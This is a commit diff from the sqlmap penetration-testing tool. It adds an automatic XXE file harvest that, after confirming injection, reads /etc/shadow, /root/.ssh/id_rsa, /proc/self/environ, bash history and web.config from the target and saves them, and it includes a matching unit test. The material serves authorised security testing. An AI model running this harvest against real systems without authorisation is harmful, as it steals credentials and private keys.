Minor update
Some checks are pending
/ build (macos-latest, 3.8) (push) Waiting to run
/ build (ubuntu-latest, pypy-2.7) (push) Waiting to run
/ build (windows-latest, 3.14) (push) Waiting to run

This commit is contained in:
Miroslav Štampar 2026-07-04 13:35:00 +02:00
parent 3b3a822e32
commit 3bab3cd795
5 changed files with 152 additions and 39 deletions

View file

@ -189,10 +189,10 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums
9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py
0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
2a638eed1ff10b42b4dfa70aab9d20580169266a08f44d33da50177bc8e78bf2 lib/core/settings.py
f8b1a13e3bb6ec50b5021bf04c52795a0d561ae3c95c8a05d1cc1c43faf4382e lib/core/settings.py
c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py
a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py
15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py
69a68894db04695234369eedac71b5a89efc1b4ce89ef0e61ebbbc1895ff32b2 lib/core/target.py
96d107a31bb9647a9b7c26f10beac528bf4edc6e607c8b776c624d494332c7f8 lib/core/testing.py
95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py
b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py
@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py
c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py
e542cbcb1e2798f2d756d1f79940f61f7cebef661657f8ca1dba83c0696e95eb lib/techniques/xxe/inject.py
b14b8cb398aad9e020e77c337c1b6e7f5e5cc195723a267d2579cd338b75e438 lib/techniques/xxe/inject.py
2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py
442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py
da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py
@ -670,7 +670,7 @@ b03689c4dcca0e88a62a88784c61418f963c031d338a357dcc223560c8f9bd22 tests/test_use
93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py
81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py
9d6dd551b751ab38200ab190c744ec0a9afa798b37f83b0078a4325ab3f80aec tests/test_xpath.py
b01acaa558b4f3e87957fe2d9a59d48878a7ed26660d5676ca34ecaaa1efd2b7 tests/test_xxe.py
db002e350cded0b92327ae546d99c05c60bb7a767e56681993894f62b1248613 tests/test_xxe.py
55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py
f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py

View file

@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.7.28"
VERSION = "1.10.7.29"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@ -1121,6 +1121,32 @@ XXE_IMPACT_FILES = (
("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"),
)
# Once an in-band XXE file-read primitive is CONFIRMED, sqlmap proactively harvests
# this curated set of high-value, fixed-path files (host identity, process env/
# secrets, key material) - the XXE analogue of the automatic dumping the other
# non-SQL engines perform. Kept small and high-signal (each entry costs 1-2 requests);
# best-effort, so unreadable/absent files are silently skipped. Unlike XXE_IMPACT_FILES
# (a benign PRE-confirmation impact probe that avoids WAF-honeypot paths) this runs
# only AFTER confirmation, so sensitive paths are appropriate. Skipped when the user
# gave an explicit '--file-read' (that targeted request is honoured verbatim instead).
XXE_FILE_HARVEST = (
"/etc/passwd",
"/etc/hostname",
"/etc/hosts",
"/etc/os-release",
"/etc/shadow",
"/etc/group",
"/proc/self/environ",
"/proc/self/cmdline",
"/proc/self/status",
"/proc/version",
"/root/.bash_history",
"/root/.ssh/id_rsa",
"c:/windows/win.ini",
"c:/windows/system32/drivers/etc/hosts",
"c:/inetpub/wwwroot/web.config",
)
# GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE:
# an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle
# an error/exfil primitive, so no outbound network is needed. (path, entity_name).

View file

@ -618,7 +618,7 @@ def _createFilesDir():
Create the file directory.
"""
if not any((conf.fileRead, conf.commonFiles)):
if not any((conf.fileRead, conf.commonFiles, conf.xxe)):
return
# Note: normalize the hostname consistently with conf.outputPath / conf.dumpPath (see _createDumpDir)

View file

@ -26,6 +26,7 @@ from lib.core.enums import HTTPMETHOD
from lib.core.settings import ASTERISK_MARKER
from lib.core.settings import XXE_BLACKHOLE_HOST
from lib.core.settings import XXE_ERROR_SIGNATURES
from lib.core.settings import XXE_FILE_HARVEST
from lib.core.settings import XXE_HARDENED_REGEX
from lib.core.settings import XXE_IMPACT_FILES
from lib.core.settings import OOB_POLL_ATTEMPTS
@ -229,21 +230,50 @@ def _echoed(page):
def _report(title, payload):
if conf.beep:
beep()
place = "%s XML body" % (conf.method or HTTPMETHOD.POST)
conf.dumper.singleString("---\nParameter: %s\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload))
place = conf.method or HTTPMETHOD.POST
conf.dumper.singleString("---\nParameter: XML body (%s)\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload))
def _saveFileRead(remoteFile, content):
"""Save an XXE-read file to the output directory (parity with '--file-read') and
return its local path, or None if it could not be written."""
try:
return dataToOutFile(remoteFile, getBytes(content))
except Exception as ex:
logger.debug("could not save XXE-read file to disk: %s" % getUnicode(ex))
return None
def _dumpFileRead(remoteFile, content):
"""Save an XXE-read file to the output directory (parity with '--file-read') and
list it; fall back to a console dump if the file cannot be written."""
try:
localPath = dataToOutFile(remoteFile, getBytes(content))
if localPath:
conf.dumper.rFile([localPath])
return
except Exception as ex:
logger.debug("could not save XXE-read file to disk: %s" % getUnicode(ex))
conf.dumper.singleString("XXE file read ('%s'):\n%s" % (remoteFile, content))
"""Save a single XXE-read file and list it; fall back to a console dump if the
file cannot be written."""
localPath = _saveFileRead(remoteFile, content)
if localPath:
conf.dumper.rFile([localPath])
else:
conf.dumper.singleString("XXE file read ('%s'):\n%s" % (remoteFile, content))
def _harvestFiles(xml, rootName):
"""Proactive, best-effort file harvest run once an in-band XXE read primitive is
confirmed: pull a curated set of high-value fixed-path files (host identity,
process env/secrets, key material) the way the other non-SQL engines auto-dump
their reachable data. Returns a list of (path, content, payload) for every file
that read back non-empty; unreadable/absent files are silently skipped. Content is
de-duplicated so a parser that resolves every missing path to the same stub cannot
masquerade as many distinct reads."""
harvested = []
seen = set()
for path in XXE_FILE_HARVEST:
content, payload = _tryInbandFileRead(xml, rootName, path)
if content and content.strip():
key = content.strip()
if key in seen:
continue
seen.add(key)
harvested.append((path, content, payload))
return harvested
def _tryInternal(xml, rootName, baseline):
@ -280,7 +310,7 @@ def _tryInbandFileRead(xml, rootName, fileName):
entity between two random markers so the exact file content can be sliced out
of the response regardless of surrounding template. Raw file:// works for text
files; php://filter base64 (PHP) carries files with XML-special bytes. Returns
the file content or None."""
(content, payload) or (None, None)."""
from lib.core.convert import decodeBase64
@ -303,13 +333,13 @@ def _tryInbandFileRead(xml, rootName, fileName):
except Exception:
continue
if data and data.strip():
return data
return None
return data, payload
return None, None
def _tryExternalFile(xml, rootName, baseline):
"""Impact demonstration once XXE is live: read a benign host-identity file via
an external general entity. Returns (systemId, snippet) on a confirmed read."""
an external general entity. Returns (systemId, payload) on a confirmed read."""
for systemId, pattern in XXE_IMPACT_FILES:
ent = randomStr(length=8, lowercase=True)
@ -317,7 +347,7 @@ def _tryExternalFile(xml, rootName, baseline):
payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent)
snippet = _confirmRead(_send(payload), pattern, baseline)
if snippet:
return systemId, snippet
return systemId, payload
return None, None
@ -639,8 +669,9 @@ def xxeScan():
_OOB_CONSENT = None
debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection "
debugMsg += "in the request body and demonstrates file-read impact. SQL enumeration "
debugMsg += "switches (--banner, --dbs, --tables, --dump) are ignored"
debugMsg += "in the request body and, once confirmed, automatically harvests high-value "
debugMsg += "host files (or reads '--file-read' when given). SQL enumeration switches "
debugMsg += "(--banner, --dbs, --tables, --dump) are ignored"
logger.debug(debugMsg)
xml = _cleanBody()
@ -661,31 +692,59 @@ def xxeScan():
# T2: in-band reflected DTD/internal-entity expansion. This proves the parser
# processes entities but is NOT yet file-read impact, so it deliberately does NOT
# set `found` - the in-band read (or, if that fails, the error/XInclude tiers) still
# run to try to upgrade a mere "expansion confirmed" into actual file-read impact.
# set `found` on its own - we first try to UPGRADE it to real file-read impact and
# then emit a SINGLE report block with the strongest confirmed vector and its real
# payload (one report per finding, as with the other non-SQL engines). The internal
# expansion is only reported on its own when no external-entity read is reachable.
payload, page = _tryInternal(xml, rootName, baseline)
if payload:
expansionSeen = True
logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)")
_report("In-band DTD/internal entity expansion", payload)
if conf.get("fileRead"):
content = _tryInbandFileRead(xml, rootName, conf.fileRead)
content, readPayload = _tryInbandFileRead(xml, rootName, conf.fileRead)
if content:
found = True
logger.info("in-band XXE file-read impact confirmed for '%s'" % conf.fileRead)
_report("In-band file read ('%s')" % conf.fileRead, "<in-band reflected read of '%s'>" % conf.fileRead)
_report("In-band file read ('%s')" % conf.fileRead, readPayload)
_dumpFileRead(conf.fileRead, content)
else:
# benign, in-band impact demonstration (data stays in the response, no third party)
systemId, snippet = _tryExternalFile(xml, rootName, baseline)
if not systemId:
snippet = _tryPhpFilter(xml, rootName, baseline)
systemId = "php://filter" if snippet else None
if systemId:
# No targeted '--file-read': proactively harvest a curated set of high-value
# files (data stays in the response, no third party) - the XXE analogue of
# the automatic dumping the other non-SQL engines do once confirmed.
harvested = _harvestFiles(xml, rootName)
if harvested:
found = True
logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId)
_report("In-band file-read impact (external entity '%s')" % systemId, "<external-entity read of a benign file for impact>")
firstPath, _, firstPayload = harvested[0]
logger.info("in-band XXE file-read impact confirmed; harvested %d high-value file(s)" % len(harvested))
_report("In-band file read (auto-harvest, e.g. '%s')" % firstPath, firstPayload)
saved = []
for path, content, _ in harvested:
logger.info("read remote file '%s' (%d bytes)" % (path, len(content)))
localPath = _saveFileRead(path, content)
if localPath:
saved.append(localPath)
else:
conf.dumper.singleString("XXE file read ('%s'):\n%s" % (path, content))
if saved:
conf.dumper.rFile(saved)
else:
# Harvest read nothing (content relocated in the response, or only benign
# host-identity is exposed): fall back to the pattern-based impact proof
# so file-read impact is still confirmed.
systemId, readPayload = _tryExternalFile(xml, rootName, baseline)
if not systemId:
readPayload = _tryPhpFilter(xml, rootName, baseline)
systemId = "php://filter" if readPayload else None
if systemId:
found = True
logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId)
_report("In-band file-read impact (external entity '%s')" % systemId, readPayload)
if not found:
# external entities are disabled (only internal expansion is reachable):
# report that weaker-but-real finding with its actual payload
_report("In-band DTD/internal entity expansion", payload)
# T3: error-based (works where entities are not reflected but errors leak). A
# redundant detection channel once in-band reflection was already seen, so it is

View file

@ -239,7 +239,35 @@ class TestReportMethod(unittest.TestCase):
xxe._report("Title", "Payload")
finally:
conf.dumper, conf.method, conf.beep = old_dumper, old_method, old_beep
self.assertIn("PUT XML body", captured[0])
self.assertIn("Parameter: XML body (PUT)", captured[0])
class TestHarvestFiles(unittest.TestCase):
def test_harvest_collects_dedups_and_skips_empty(self):
# simulate a target that returns real content for two files, an empty read for
# one (skipped), and an identical stub for the rest (deduped to a single entry)
def _fake(xml, rootName, path):
if path == "/etc/passwd":
return "root:x:0:0:root:/root:/bin/sh\n", "PAYLOAD-passwd"
if path == "/etc/hostname":
return "host01\n", "PAYLOAD-hostname"
if path == "/etc/hosts":
return " ", "PAYLOAD-empty" # whitespace-only -> skipped
return "same stub", "PAYLOAD-stub" # identical for every other path -> deduped
old = xxe._tryInbandFileRead
xxe._tryInbandFileRead = _fake
try:
harvested = xxe._harvestFiles("<user><name>x</name></user>", "user")
finally:
xxe._tryInbandFileRead = old
paths = [p for p, _, _ in harvested]
self.assertIn("/etc/passwd", paths)
self.assertIn("/etc/hostname", paths)
self.assertNotIn("/etc/hosts", paths) # empty read skipped
self.assertEqual(paths.count("/etc/passwd"), 1)
self.assertEqual(sum(1 for c in (c for _, c, _ in harvested) if c == "same stub"), 1) # stub deduped
class TestOobBase64Capture(unittest.TestCase):